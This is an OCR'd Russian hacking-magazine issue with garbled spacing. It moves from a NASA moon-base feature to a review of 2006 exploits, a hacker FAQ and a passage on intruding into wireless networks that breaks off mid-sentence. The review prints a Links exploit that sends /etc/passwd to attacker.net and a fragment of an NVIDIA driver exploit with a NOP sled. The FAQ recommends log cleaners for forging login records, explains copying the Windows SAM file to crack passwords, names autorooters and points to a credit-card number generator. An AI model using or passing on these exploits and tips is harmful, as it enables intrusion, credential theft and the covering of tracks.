примерно в 4 разаменьше и в 8 раз легче, чем шаттл высотой9 метров и весом 10 тонн. В отличиеот шаттла, в пусковой установке «DreamChaser» не будет использоваться криогенноетопливо, чьи баки должны бытьизолированы пеной, куски которой имеютобыкновение отрываться при взлете.xàêåð 02 /98/ 07/057


implantМладший брат «Hubble» на ЛунеОтпечаток первого шага по луннойповерхностиПока NASA подбирает на Луне место длябазы, адвокаты ООН ломают головы: каквежливо «избавиться» от «лунных собственников»— миллионов граждан разныхстран, которые в результате юридическогокурьеза стали обладателями участков наСелене.В дремучем 1980 году американец ДеннисХоуп нашел лазейку в «космическом» соглашенииООН от 1967 года. Там сказано, чтоникакая страна или правительство не могутпредъявлять права на земли вне нашейпланеты, однако ничего не сказано обиндивидуальной или корпоративнойсобственности. Поэтому мистер Хоупзаявил о том, что Луна и другие небесныетела в солнечной системе являются егособственностью, и начал быстро распродаватьучастки на Селене и на Марсе.Как мистер Хоуп, так и те, кто участвовалв распространении его собственностив разных странах, неплохо заработали. Примерно9 миллионов долларов — таковасумма, вырученная от проданных участковна Луне. Казалось бы, находчивости Хоупаможно поаплодировать и порадоваться заостроумный бизнес. Но вот что будут делатьправительства, когда придет время всерьезосваивать Луну?Адвокаты в ООН говорят, что претензиимистера Хоупа на Луну лишеныоснований. Это относится и ко всем«собственникам», которым он продавал(и продает сейчас) участки. Поэтому имвсем придется махнуть рукой на потраченныеденьги или же лететь на Лунуи заявлять свои права непосредственным«столблением», как это было в Америке вовремена индейцев.неафишируемых целей лунной миссии — именноразведка: насколько реальна массоваядобыча лунного топлива в подобных условиях.Но вот если удастся наладить добычу гелия-3, тоодна тонна будет стоить как минимум миллиарддолларов. А если пересчитать энергетическийпотенциал гелия в нефтяной эквивалент, то«лунная нефть» обойдется человечествупо бросовой цене 7 долларов за баррель.Так как астронавтов на базе будет явно недостаточнодля решения поставленных задач, длятого чтобы развязать им руки, NASA разрабатываетширокий класс роботов, которыебудут помогать в рутинных задачах — в добычегрунта, обслуживании систем базы и проведениинаучно-исследовательских экспериментов.Серьезное строительство на Луне начнется, разумеется,не скоро, но NASA уже имеет приблизительноевидение этого проекта. Сам процессстроительства будет постепенным, и сначалаим займутся команды астронавтов из четырехчеловек, отправляемых на Луну на недельные«вахты».Первая «вахта» прибудет на Луну в 2020году, а после этого начнутся 180‐дневные миссииуже по подготовке к полетам на Марс.Перед началом строительства намечено несколькопредварительных роботизированныхмиссий, которые в дальнейшем помогут работеастронавтов. Машины проведут разведкуместности, выполнят анализ природных ресурсови сведут к минимуму риск при посадкекораблей с астронавтами. Построить своибазы на Луне хотят многие страны, напримерЯпония.«Хьюстон, у нас проблема!»Со времен первых космических полетову пилотов возникают разные проблемы.И хорошо, если все заканчиваетсяблагополучно, но зачастую аварииприводят к гибели людей и превращениюдорогостоящих машин в грудуметаллолома. Естественно, полетыи дальнейшая жизнь на Луне — занятиякрайне опасные ввиду того, что неизвестно,какие неприятности могут при этомвозникнуть. Вдруг произойдет внезапнаяразгерметизация? Куда деватькосмонавтов? Не лететь же в CEV наЗемлю? А вдруг это и невозможно будетсделать за несколько часов?Коротко говоря, NASA собирается решатьподобные проблемы по мере ихвозникновения. Но от некоторых «лунныхнеприятностей» можно застраховаться ужесегодня. Например, одну из таких проблем— проблему пыли — на Луне и на Марсенужно решить прежде, чем посылать тудаэкспедиции. Опыт у человечества уже есть —30 лет назад с ней столкнулись астронавтымиссий «Apollo».Абразивная и тонкая пыль загрязняет оптикуприборов, повреждает сочленения скафандров(вплоть до небольших утечек воздуха) и дажевызывает проблемы со здоровьем, так какнеизбежно попадает в корабль и, в конечномсчете, в легкие путешественников. Кромеэтого, она загрязняет белые покрытияприборов, вызывая их перегрев.Самое страшное то, что под действием солнечногоультрафиолета пыль получает электрическийзаряд и долго парит в воздухе, цепляяськ противоположно заряженным объектам— лунному модулю и астронавтам. Ночью желунная пыль на обширных серых просторахприобретает отрицательный заряд, посколькубомбардируется свободными электронами изсостава солнечного ветра. Эта самая электростатикаприводит не только к налипанию пылина скафандры и оборудование. Электрическийзаряд накапливается луноходами и людьми, которыеходят по лунной поверхности, таккак лунный грунт — реголит — не проводитэлектричество. И если после рабочего дняполучивший электрический заряд космонавтподойдет к кораблю и прикоснется к егоповерхности, то между пальцем и обшивкойпроскочит маленькая искра, которая можетстать смертельной — вспомни, как в 30‐х годахпрошлого века загорелся и погиб дирижабльГинденбург. Но, естественно, при должномэкранировании и защите взрыва не произойдет.Но электростатика запросто может вывести/ 058xàêåð 02 /98/ 07


implantПолностью герметичный луноход NASA планирует ввести в 2027 годуCEV Orion доставляет лунный модульиз строя ту или иную электронику на борту.Один из способов борьбы с пылью — нагреть лунныйгрунт до образования твердой корки, и тогдана такой «стеклянной» поверхности астронавтысмогут обосноваться без боязни нахвататьсяпыли. Дело в том, что в реголите содержится многожелезных наносфер, которые при воздействиина них микроволнового излучения прекрасноплавятся, образуя твердую поверхность.Поэтому многие ученые предлагают снабдитьизлучателями-магнетронами луннуютележку и прокатить ее, как каток, по луннойповерхности. Она будет плавить и разглаживатьверхний слой реголита, создаваяплотные дорожки и площадки без пыли. А целаяармия таких машин могла бы расплавитьи превратить в гладкую вогнутую поверхностькакой-нибудь кратер. Поставив в центр мачтус приемником, мы получим радиотелескоп.С электростатикой же бороться труднее.На Земле инженеры просто сделали бызаземление. Но на Марсе и Луне, где напрочьотсутствует влага, это не прокатит. На Лунепридется закапывать в грунт большие листыалюминия или длинные петли алюминиевыхпроводов, которые и будут собирать лишнийзаряд. На Марсе же можно поступитьпроще, сбрасывая электростатику в атмосферус помощью игл. На марсоходах уже ставятиглы, столь тонкие (0,02 миллиметра), что электричествосбегает по ним в марсианский воздух(громоотвод наоборот).Но эффективнее был бы другой прибор— крошечный радиоактивный источник, типаиспользуемого в датчике дыма, который можноприкрепить к каждому скафандру и к базе. Альфа-частицынизкой энергии улетали быв разреженную атмосферу, ионизируя еемолекулы. Таким образом атмосфера непосредственновокруг места деятельности людейстала бы электропроводной и нейтрализовывалабы лишний заряд — так предлагает поступитьфизик Джефри Лэндис из NASA.Ученые надеются, что, научившись справлятьсяс лунной пылью и ее вредным влиянием, человечествосможет увереннее посмотретьв сторону Марса. Там существует аналогичнаяпроблема, хотя состав пыли на Марсе и еесвойства несколько отличаются от лунных.Впереди Марс!Итак, подготовив лунный плацдарм, NASAначинает ориентироваться на работус Марсом. При тщательной подготовке лунноймиссии между высадкой на Луне и высадкой наМарсе может пройти от пяти до десяти лет. Оптимистыпредлагают, что обе миссии будутосуществляться одновременно.По мнению ученых MIT, для миссии на Марсоптимальным вариантом будет отправка CEVна орбиту вокруг Марса, где его должен ждатьпустой меньший по размерам посадочныйаппарат, прилетевший туда заранее. Послестыковки астронавты перейдут в посадочныймодуль и спустятся в нем на поверхностьРазведка боем — новый луноходпланеты. Возвращаясь обратно, они так жеподнимутся на марсианскую орбиту, состыкуютсяс CEV, перейдут в него и уже на нем прибудутна Землю.Эта схема немного напоминает схему миссии«Apollo», но тогда весь набор модулей стартовалвместе. При нынешнем варианте не потребуетсявновь создавать столь большие носители,каким был «Saturn-5».Не обойтись и без экзотики: есть проекты,рассчитанные на быстрые перелеты к Марсу.Так, используя двигатель на антиматерии, легкийпилотируемый корабль мог бы достичьМарса за 45-90 дней вместо полугода на CEV.Как бы там ни было, отправлятьсяс «серьезными намерениями» к Марсу, не«потренировавшись» на Луне, было быслишком необдуманно, поэтому лунная миссия2020-2030 годов станет именно такой тренировкойдля человечества, своеобразнойпроверкой на прочность наших космическихтехнологий. А вдруг эта проверка покажет, чтов космос нам еще рановато? zxàêåð 02 /98/ 07/059


взломКрис КасперскиОбзорэксплойтов123412341 2/ 060xàêåð 02 /98/ 07


взломГлавная страница Mplayer'аLinks на моем рабочем столеЗдесь раздают обновленный tarУдаленныйобход директорий в GNU tarBriefTeemu Salmela исследовал утилиту GNU tar,ставшую стандартным архиватором для любогоLinux/xBSD-дистрибутива, и обнаружилв ней дыру. Она похожа на ту, что была удаленаиз MS-DOS-версии pkzip'а много лет томуназад, представляя собой обход директорий(directory traversal) или, говоря другимисловами, возможности создания архива,распаковывающегося не в текущем каталоге,а там, где ему нужно, и затирающего всефайлы, на которые у него только есть права.Даже если распаковка производится из-подпростого пользователя (не root'a), угроза оченьсерьезна, а во всем виноват специальныйтип файлов, определенный в tar'е артибутомGNUTYPE_NAMES, которому соответствуетсимвол «N» в tar-заголовке. Эти файлы могутраспаковываться в любое место файловойсистемы, и, хотя штатными средствами создатьтакой архив нельзя, это легко осуществитьвручную, после чего остается только выложитьего на общедоступный сервер или послатьжертве вместе с утренним мылом. Подробнее— на www.securityfocus.com/bid/21235.TargetsУязвимость подтверждена в следующих версияхtar'а: 1.15.91, 1.16 и 1.15. Про остальныепока ничего неизвестно.ExploitИсходный текст вполне боевого exploit'алежит в архиве neohapsis'а: http://archives.neohapsis.com/archives/fulldisclosure/2006-11/0344.htmlSolutionИз всех составителей дистрибутивов пока одинлишь коллектив FreeBSD выпустил специальныйпатч: http://security.freebsd.org/patches/SA-06:26/gtar.patch. Остальные же предпочлиотделаться молчанием, недвусмысленнопосылающим пользователей на официальнуюстраничку GNU tar'a (www.gnu.org/software/tar)за свежей версией 1.16.1, из которой поддержкаN-записей удалена, что делает распаковкутаких архивов вообще невозможной.Удаленноепереполнение буфера в MPlayer'еBriefMPlayer — легендарный и, в каком-то смысле,культовый аудио/видеоплеер, знаменитый,прежде всего, поддержкой огромного количествавходных и выходных форматов файлов,кодеков, устройств ввода/вывода аудио- и видеоданных.Что самое главное, он поддерживаетих правильно (в частности, только он одинпри кодировании видеофильмов следит за синхрометками).Это открытый проект, распространяющийсяв исходных текстах и портированныйпод весь зоопарк осей: Linux, xBSD, Solaris,IRIX, HP-UX, AIX, Win32, Mac OSX, включая такуюэкзотику, как QNX и Qmiga/MorphOS. Естественно,значительная часть кода MPlayer'апозаимствована разработчиками из стороннихоткрытых проектов, и потому MPlayer зависитот качества и надежности каждого их них,но качественный код — большая редкость,и дыры обнаруживаются то тут то там. В данномслучае виновником торжества оказался модуль,обрабатывающий потоки RealMedia RTSPи расположенный в файлах stream/realrtsp/asmrp.c, stream/realrtsp/asmrp.hи stream/realrtsp/real.c, позаимствованныхиз библиотеки xine-lib. В ней 28 декабря 2006года была обнаружена уязвимость, связаннаяс традиционным отсутствием границ контролябуфера и подробно описанная специалистамииз Debian Security Advisory: www.debian.org/security/2006/dsa-1244.TargetsУязвимость подтверждена в версиях MPlayer1.0rc1 и SVN до r21799 (то есть до 31 декабря13:27:53 2006 UTC). Более древние версии, повидимому,также содержат эту дыру, однако онине проверялись.ExploitОбразец exploit'а может быть найден по следующейссылке: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-6172.SolutionРазработчики MPlayer'а исправили код в CVS(древе разработки), однако еще не перекомпилироваливыложенные двоичные файлы, предоставляяпользователям замечательную возможностьлично заняться сексом с компилятором.Удаленноевыполнение SMB-команд в Links'eBriefLinks — это шустрый текстовый браузер(широко известный в узких кругах), изначальнореализованный на Linux'е, успешнопортированный на кучу операционных системвсех мастей (xBSD, HPUX, OS/2, MacOSX,Win32) и породивший множество клонов.В силу своей чрезвычайной конструктивнойпростоты и отсутствия поддержки скриптовс прочими тяжеловесными элементами,долгое время (на пару с другим консольнымбраузером — Lynx) он по праву считалсясамым безопасным «судном» для web-серфинга.Я активно пользовался им сам и дажерекомендовал его другим. Но вот на стыке2006 и 2007 годов усилиями хакера TeemuSalmela в нем обнаружилась огромная дыра,позволяющая атакующему исполнять любыеSMB-команды на машине жертвы, просматривающейзараженную HTML-страничкус помощью Links'a (естественно, SMB-клиентдолжен быть установлен). Ошибка гнездитсяв функции smb_func(), расположеннойв файле smb.c.TargetsУязвимость подтверждена в версиях Links1.00pre12 и ELinks 0.11.1, но и остальныеверсии также уязвимы.ExploitЛинк, эксплуатирующий уязвимость:smb://attacker.net/work/XXX" YYY;lcd ..; lcd ..; lcd ..; lcd etc; putpasswd ; exit;SolutionСамое простое, что можно сделать, — отказатьсяот Links'а в пользу Lynx или же наложитьзаплатку, благо составители популярныхдистрибутивов оперативно посуетились.Однако существует множество неофициальныхбилдов Links'а (и его собратьев),пользователям которых можно посоветоватьзакомментировать 162‐ую строку и перекомпилироватькод. Естественно, выполнениекаких бы то ни было SMB-команд браузеромпосле этого станет невозможным, ну даневелика потеря.xàêåð 02 /98/ 07/061


взлом123412341 2Переполнениебуфера в драйверах NVIDIA для LINUXBriefРаз уж этот обзор explot'ов оказался стихийнопосвящен Linux-программам (причем безовсякого умысла с моей стороны, просто такполучилось), будет уместно рассказать о дырев «фирменных» драйверах от NVIDIA, выпущенныхв виде двоичных файлов без исходныхтекстов. Увы! Закрытые продукты встречаютсяи в Linux, причем качество большинства изних весьма невелико, а доработка «напильником»чрезвычайно затруднена — оно и понятно:в машинном коде разбирается далеконе каждый линуксоид. А вот Windows-хакерычувствуют себя как рыба в (мутной) воде — имк этому не привыкать.Дыра выражается в виде традиционнойошибки переполнения и при благоприятном(для хакера) стечении обстоятельств позволяетатакующему выполнять произвольный кодна целевой системе с наивысшими уровнемпривилегий, причем атака может быть осуществленане только локально, но и удаленно— через remote X-клиента или X-клиента,зашедшего на web-сервер с «троянской» страничкой.Техническиеподробности можно найтина www.securityfocus.com/bid/20559/info.TargetsNVIDIA официально подтверждает уязвимостьдвух следующих версий Linuxдрайверов:1.0-8762 и 1.0-8774, утверждая,что более ранние версии (такие, например,как 1.0-8178 или 1.0-7184) не содержатэтой дыры, а начиная с версии 1.0-8776,она уже исправлена: http://nvidia.custhelp.com/cgi-bin/nvidia.cfg/php/enduser/std_adp.php?p_faqid=1971. Но различные независимыеэксперты подозревают, что и болеедревние версии уязвимы тоже (в первуюочередь подозрение падает на версиидрайверов под Solaris и FreeBSD), однаконикто из них это не подтвердил proof-ofconceptexploit'ом, поэтому вопрос остаетсяоткрытым. Тем временем компания Solarisклятвенно заверяет, что на платформу SPARCэта угроза не распространяется, но x86-64‐версии драйверов все-таки уязвимы:http://sunsolve.sun.com/search/document.do?assetkey=1-26-102693-1&searchclause=.ExploitИсходный текст демонстрационного exploit'ас shell-кодом на борту лежит по адресуhttp://download2.rapid7.com/r7-0025/nv_exploit.c,а ниже приведен его ключевой фрагмент:Ключевой фрагмент exploit'а, атакующегоуязвимые драйверы от NVIDIAXGlyphInfo * glyphs;XRenderPictFormat fmt;XRenderPictFormat *mask = 0;GlyphSet gset; char * buf =0; intoffset, cr, numB; int xscreenpos =32680;int magic_len= 2768‐xscreenpos;int wr_addr_len = 3548; int wr_nop_len=200;offset = gotaddr-(heapaddr-0x2C0000);offset += magic_len; glyphs = malloc(sizeof(XGlyphInfo)*3);/* Payload glyph */glyphs[0].width=0x4000; // onecontiguous buf of 16K... way morethan necessaryglyphs[0].height = 1; glyphs[0]./ 062xàêåð 02 /98/ 07


взломОтсюда NVIDIA раздает свои драйверы для Linux-систем NVIDIA подтверждает наличие дыры и обещает в будущихверсиях драйверов все исправитьyOff = 0; glyphs[0].xOff =glyphs[0].width;glyphs[0].x = 0; glyphs[0].y = 0;xglyphids[0] = 'A'; xglyphids[1] ='B'; xglyphids[2] = 'C';int stride = ((glyphs[0].width*1)+3)&~3; /* Needs to beDWORD aligned */int bufsize = stride*glyphs[0].height; buf = malloc(bufsize);/* Write the NOP instructions untilwr_nop_len */memset(buf+wr_addr_len, 0x90 /* NOP*/, wr_nop_len);/* Calculate the number of B'srequired to send */numB = offset / (glyphs[1].yOff *magic_len);/* Now create a new buffer for thestring data */string = malloc(numB+1/*numC*/+1/*numA*/+1/*NULL*/);for (cr=0; cr


взломNVIDIA признает, что кругом была неправа2006 года и сообщила компания Rapid7, LLCSecurity Advisory (www.rapid7.com), специализирующаяся,как и следует из ее названия, наинформационной безопасности.В пресс-релизе, датированном 16 октября 2006года (http://download2.rapid7.com/r7-0025), онане только сообщила массу технических подробностей,но и привела исходный код proof-ofconceptexploit'а, демонстрирующий механизмлокального и удаленного заброса shell-кода наатакуемый компьютер.Компания NVIDIA признала себя виновнойпо всем статьям, выпустив спустя 4 дня ответныйпресс-релиз, который одни хакеры сочлинеубедительным оправданием, другие — недостаточноискренним раскаянием: http://nvidia.custhelp.com/cgi-bin/nvidia.cfg/php/enduser/std_adp.php?p_faqid=1971.Главное то, что нам, наконец, стало известно,почему возникает переполнение. Если веритьNVIDIA (а не верить ей у нас никаких поводоввроде бы нет), дела обстоят приблизительно так:1. из системной памяти выделяется временныйбуфер (scratch buffer) фиксированного размера(clamped to a maximum size) для отрисовки глифов— текстовых символов и прочих шрифтов (glyphrendering);2. список глифов, поступающих на отрисовку,не сравнивается с размером выделенногобуфера;3. если список глифов превышает заранеезаданный максимальный размер временногобуфера, наступает его переполнение и... все!На самом деле, никакое это не все, а тольконачало детективного расследования. В действительности,существует 2 семейства NVIDIAдрайверовдля Linux — с открытым и закрытымкодом. Закрытые драйверы отличаются тем, чтоподдерживают различные режимы акселерации(которые в отрытой версии напрочь отсутствуют),в том числе и рендеринг шрифтов (ну,в смысле, глифов), реализованный в расширенииXRender, экспортирующем функциюXRenderCompositeString8, которая в теснойкоординации с X-сервером выводит шрифты наэкран.Именно поэтому дефект реализации XRender'адолгое время считали ошибкой X-сервера (какговорится, искали в черной комнате чернуюкошку, которой там нет).Итак, получив список глифов, которыетребуется отрендерить, функцияXRenderCompositeString8 через специальныйcallback обращается к драйверу, и, еслиэтот лист превышает размер выделенногобуфера, наступает закономерный крах.Более детальные исследования показывают,что закрытый драйвер регистрируетфункцию _nv000373X, поручая ей расчетграниц BoxRec-области, необходимой длявмещения всех данных, выводимых наэкран. Выделение памяти осуществляетсяпосредством функции Xalloc, а размербуфера определяется путем умноженияширины области рендеринга на ее высоту.Полученный буфер передается другойвнутренней функции _nv000053X, котораяпоследовательно проходит по всем глифам,копируя каждый в буфер, отталкиваясь от егоположения на плоскости (xOff, yOff), а такжеот ширины (width) и высоты (height), посредствомкоторых, она вычисляет следующуюпозицию в буфере. Однако проверка навыход за границы буфера, по обыкновению,не выполняется и происходит переполнение.Причем не простое, а очень даже специфичное.Манипулируя значениями xOff,yOff, width и height, на которые атакующийможет воздействовать явным образом, онполучает возможность записи произвольныхданных/кода по произвольному адресу.Соль в том, что X-сервер получает списокглифов от X-клиента, который может быть каклокальным, так и удаленным. Идея удаленных X-клиентов возникла в те далекие времена, когдацветной монитор был огромной роскошью и дажезажиточные организации с трудом позволялисебе его иметь в количестве «одна штука»,а рабочих станций, как правило, было намногобольше одной. Вот и пришлось разрабатыватьмеханизмы удаленного вывода графическойинформации на терминал. Сейчас же это рудимент,практически никем не используемый,но по целому ряду причин сохранившийся дажев современных версиях никсов.В роли удаленного X-клиента может выступатьпрактически любая иксовая программа, взаимодействующаяс сетью, например FireFox, которомускормили слишком длинную текстовую строку(вроде той, что была на страничке с числом «пи»).Причем совершенно не обязательно прописыватьэту строку в HTML'е «прямым текстом».Сойдет Java или любой другой скриптовый язык.Так что угроза не мифический призрак, а вполнереальный и очень злобный монстр, поражающийвсех тех, кто не отключил акселерацию илине обновился. z/ 064xàêåð 02 /98/ 07


PPPP>> взломИван СкляроВsklyaroff@mail.ruwww.sklyaroff.rufaq you faqing faq3PPPPQ: Что такое MIM-атака?A: Аббревиатура MIM, или MITM, происходит от английского Manin-the-Middle,то есть «атака с человеком посередине». СутьMIM-атаки в том, что между двумя (или более) узлами, обменивающимисяданными, вмешивается третья сторона, которая перехватывает,прослушивает или блокирует передачу информации.Существует множество разновидностей MIM-атак под различныесреды передачи информации.PQ: А можно конкретный пример MIM-атаки?A: Разумеется, можно, вот типичная MIM-атака — ARP Redirect (ARPspoofing).Суть ее состоит в следующем. Допустим, хакеру нужноперехватить трафик между узлами A и B в коммутируемой (построеннойна свитчах) сети. Любой узел в сети Ethernet, посылаяданные по какому-либо IP-адресу, должен знать также MAC-адрессвоего собеседника. Поэтому каждая машина, перед тем какпослать данные, всегда сначала просматривает свой ARP-кэш,в котором хранятся соответствия «IP-MAC», на наличие нужногоMAC-адреса. Если такого соответствия не обнаруживается, узелпосылает широковещательный ARP-запрос. Хакер может послатьфальсифицированное ARP-сообщение узлу A, указав, чтоMAC-адрес машины хакера соответствует IP-адресу узла B.Узел A занесет эти сведения в свой ARP-кэш и, когда будетпосылать пакеты узлу B, в реальности отправит их узлу хакера.Для полноценного двустороннего перехвата хакеру нужно проделатьаналогичные действия с ARP-кэшем узла B. После этоговесь трафик между узлами A и B будет идти через машину хакера.Хакеру необходимо периодически посылать фальсифицированныеARP-сообщения узлам A и B для обновления их ARP-таблиц,иначе они рано или поздно сформируют правильную таблицу.Q: Хочу научитьсяписать эксплойты, что для этого нужно?A: Во-первых, для этого нужна голова, а в ней — мозги. Во-вторых,Pнеобходимо выучить языки программирования Си и Ассемблер,разобраться с устройством операционных систем. Затем можноприступать к чтению специализированных статей и книг конкретнопо программированию эксплойтов. Правда, на русском/ 066xàêåðязыке хороших мануалов по этому вопросу почти нет. Из книгмогу посоветовать только свою собственную — «Программированиебоевого софта под Linux» (Иван Скляров). В ней наиболееполная и детальная информация по программированиюлокальных и удаленных эксплойтов под ошибки переполнениябуфера в стеке и куче, bss, форматной строки, но только подоперационную систему Linux. Под Windows надо смотреть другиеисточники, либо ждать, пока я напишу «Программированиебоевого софта под Windows».Q: В чем суть FTP Bounce атаки?A: FTP Bounce Attack (скрытая атака по FTP) — это применениеFTP-сервера в качестве proxy для проведения атак на другиеузлы с целью сокрытия своего местоположения. Основана этавозможность на использовании одной особенности FTP-серверов:после подключения к FTP-серверу клиент должен передатьему команду PORT с параметрами, указывающими, с каким IPадресомнадо соединиться и какой порт открыть по этому адресу— обычно этот порт и адрес соответствуют самой машине клиента.Однако вместо своего IP-адреса и порта на своей машине хакерможет передать IP-адрес и TCP-порт машины-жертвы. Такимобразом, например, можно выполнять анонимное сканированиепортов машины-жертвы. Выполняя команду LIST, FTP-серверпопытается прочитать на ней текущий каталог, посылая на указанныйв команде PORT порт назначения TCP SYN-запрос. Еслипорт на машине-жертве открыт, то на сервер приходит ответ TCPSYN АСК и FTP-клиент получает «150» и «226», если же порт закрыт,то — «425. Can't Build Data Connection: Connection Refused»(«425. Невозможно установить соединение: в соединенииотказано»). Далее в цикле FTP-серверу можно последовательновыдавать команды PORT и LIST и осуществлять сканированиеразных портов. Подобным образом обходятся файрволы. К сожалению,в наше время не все FTP-серверы позволяют использоватьэтот метод.Q: Что означает термин «ксорить»?A: Ксорить — это выполнять логическую операцию XOR (исключающееИЛИ), которая имеет следующую семантику:02 /98/ 07


взломxàêåð 02 /98/ 070 xor 1 = 11 xor 0 = 10 xor 0 = 01 xor 1 = 0Обычно эту операцию используют для простейшего шифрования. Я тебеPсоветую заглянуть в мою книгу «Головоломки для хакера», тамты сможешь порешать кучу головоломок на дешифрованиетекстов с использованием XOR.Q: Посоветуй логклинер под Linux, который не простоPPPудаляет записи из utmp/wtmp/lastlog, а способен подменятьзаписи на поддельные.A: Пожалуйста: логклинер Mr-Lynd0v1_2.c способен подменять пользователейи хосты в логфайлах; mme.c позволяет подставлятьзаписи с другого логина вместо реальных; nabi.c может подменятьлюбые указанные данные в записях на новые. Ищи все этии другие логклинеры на http://packetstormsecurity.org.Q: Как скопировать SAM-файл?A: Напомню, что в файле SAM (Security Account Manager — диспетчерзащиты учетных записей) хранятся учетные записипользователей, содержащие в том числе имя пользователяи его пароль в Windows NT/2000/XP/2003. Этот файл расположенв каталоге %SystemRoot%\system32\config, но к немунельзя получить доступ, пока Windows NT/2000/XP/2003загружена, так как он постоянно открыт операционной системойдля того, чтобы изменения становились доступны безперезагрузки компьютера. Поэтому можно поступить однимиз следующих способов:1. Если на компьютере установлена еще одна операционная система(например, Linux), то загрузиться с нее, выйти в нужный раздели скопировать SAM-файл в другой каталог или на дискету/CD(кроме SAM, обычно нужно еще переписать файл SYSTEM из тогоже каталога).2. Использовать с той же целью Live-CD (например, Knoppix).3. Если Windows NT/2000/XP/2003 была установлена на файловую системуFAT (FAT32), то просто создать загрузочную дискету, загрузитьсяс нее и скопировать файл SAM в другой каталог или надискету. Если Windows установлена на файловую систему NTFS,то для доступа к файлу SAM использовать дискету, созданнуюв программе NTFSDos Pro.4. Иногда копия файла SAM хранится в каталоге %SystemRoot%\repair,из которого ее можно скопировать без перезагрузки.Только зачем тебе копировать файл SAM? Если для того чтобы получитьPPиз него логины и пароли, то лучше сразу использовать однуиз следующих программ: L0phtcrack 4, LCP (www.lcp.da.ru),Advanced NT Explorer (www.elcomsoft.com) или SAMInside(www.insidepro.com). Они позволяют расшифровать паролибез предварительного копирования файла SAM, в том числе наудаленном компьютере.Q: Что такое Autorooter?A: Autorooter (от английского auto — автоматический и root — правасистемного администратора в UNIX-подобных системах)— это комплекс из одного или множества эксплойтов и другихбоевых утилит, таких как сканер портов или сканер безопасности.PАвторутеры могут быть выполнены в виде одного файла илимножества связанных файлов. Они специально создаются хакерамидля облегчения взлома серверов. Авторутер самостоятельноищет в сети уязвимые машины, осуществляет их взломи затем оповещает об этом своего хозяина. Осуществляямассовый автоматический взлом в сети, авторутер имеет ещеодно название — massrooter (от английского mass — массовый).Массрутеры действуют во многом аналогично интернетчервям,но только находятся при этом под полным контролемхакера. Публичных массрутеров пока известно не очень много,но, очевидно, число их будет расти. Из тех, что доступныв публичных интернет-архивах, можно назвать massroterfinalот Daddy_cad, lpd autorooter от dave, OpenSSL-uzi от Hardenи другие. Всех их можно найти на http://packetstormsecurity.org.Q: Подскажи какой-нибудь работающий генератор номеровкредитных карт?A: Вот, пожалуйста: THC-Credit v1.91 от известной немецкой командыPTHC, он генерирует абсолютно правильные номера кредитныхкарт (Visa, American express и пр.).Одна только проблемка — вряд ли ты в настоящее время сможешьвоспользоваться этими номерами, так как почти везде, кроме номеров,требуется указать дату окончания срока действия карты,Pимя владельца кредитной карты, напечатанной на самой карте,CVC/CVV2‐код и т.д.Хотя, надо заметить, на сайте www.thc.org в Top 3 DownloadedReleases по количеству скачиваний генератор THC-Credit v1.91до сих пор стоит на первом месте. И это несмотря на то, чтопрограмма была написана в 1999 году!Q: В чем суть ошибки Integer Overflow и существуют липод эту ошибку эксплойты?A: Суть ошибки Integer Overflow заключается в том, что в 32‐битныхPсистемах значения переменных типа Integer могут лежать тольков пределах от –2147483648 до 2147483647 (4 байта) или от 0 до4294967295 для беззнаковых целых (Unsigned Integer). Если жев переменную записать значение, превышающее максимальновозможное число, поведение программы будет непредсказуемои зависит от компилятора. Следующий пример в системе Linuxпосле компиляции и исполнения выдает 0, хотя, по логике,должен выдавать 4294967296:#include int main() {nt sum = 4294967295 + 1;printf("sum = %d\n", sum);}В стандарте ISO C99 для устранения этой уязвимости рекомендовалосьпросто использовать в вычислениях Unsigned Integer, однако напрактике это нисколько не решает проблемы. Для устраненияошибки Integer Overflow необходимо добавить в код проверкина превышение значений переменных Integer максимальногопредела.Эксплойты под эту ошибку, разумеется, существуют, достаточно набратьв www.google.ru «integer overflow exploit» и все увидеть своимиглазами.z/ 067


взломАндрей «Skvoznoy» Комаров/ admin@cup.su /Операция«Воздух-земля»Нестандартные методы вторжения в беспроводные сетиВ прошлых номерах мы рассматривали атаки на точки аутентификации в беспроводныхсетях. Весь процесс заключался в компрометации стандартных способов авторизациис помощью WEP/WPA/WPA2/LEAP-ключей. Это демонстрировалось на самыхразных объектах, начиная пользовательскими домашними хотспотами и заканчиваяоборудованием, расположенным на территории Красной площади :). Сейчас я расскажутебе о нестандартных методах вторжения практически в любую беспроводную сеть.Прямая компрометацияАтаками с прямой компрометацией являютсяинциденты, где атакующий получает интерактивныйили привилегированный доступ. Прямаякомпрометация позволяет контролироватьзахваченное оборудование и просматриватьхранящиеся на компьютере данные. Сказатьчестно, украсть данные из беспроводной точки/ 068xàêåðдоступа и маршрутизатора достаточно трудно, таккак их не так уж и много :). Ты вряд ли обнаружишьна машинах платежные БД или какие-либосекретные штучки Пентагона. Самое большое, начто можно рассчитывать, — это информация о сетевойтопологии, паролях и данных о маршрутах.Применив определенную смекалку, можно перейтии к отдельным клиентам, которые пользуютсяуслугами захваченного оборудования. Для началавведу тебя в курс дела. Из недавней статьи«Атака на Кремль» ты узнал, что, обратившиськ определенному адресу сети, реально найтито самое оборудование, которое «питает» всехинетом, и даже попытаться его взломать. Действительно,это так, при конфигурации точкидоступа, а иногда и роутера, существует опция02 /98/ 07


взломАудитор безопасности ПО точки Wi-Fi от KSURi (CUP.su) Вспомни, как все начиналосьустановки веб-интерфейса для визуализациипроцесса управления роутинга. Безусловно, тутесть определенные плюсы, но, как правило, любыеоблегчения админской деятельности вызываюттяжелые последствия. Используяподобную технологию, администраторв первую очередь должен скрытьее, например, добавив защиту по IP, а не толькоавторизацию. Как ни странно, защита файерволомвыпадает у 70% админов из памяти, чтои позволяет хакеру напасть на железкиудаленно. Сперва веб-интерфейс надо задетектить— обратимся, как уже говорили, к xxx.xxx.0.0или xxx.xxx.0.1, чаще всего он висит именнотам. Но кто сказал, что это всегда так? Именнодля этого мы автоматизируем процесспоиска, используя следующий метод:Одной из ошибок является применение службыSNMP (Simple Network Management Protocol)с дефолтовым паролем «public».Наличие snmp позволило мне опознать«биографию» хотспота путем посылки специальногоsnmp-фрейма с OID 1.3.6.1.2.1.1.1. Когдаэта служба включена, можно получитьбольшой объем полезной сетевой информации.К примеру, атакующие из интернета могут дажеузнать хосты и диапазоны IP-адресов внутреннихсетей. По аптайму делаем вывод, чтоточка либо совсем девственная, либопериодически выключается/перезагружаетсяадмином, поэтому нужно действоватьКарта боевых сражений :)как можно быстрее. Итак, мы залезли наоборудование. Дальнейшие действия зависяттолько от твоей фантазии! Из самого простого— можно попытаться воспользоваться паролемкакого-либо пользователя, например, пассвордомот ящика электронной почты или 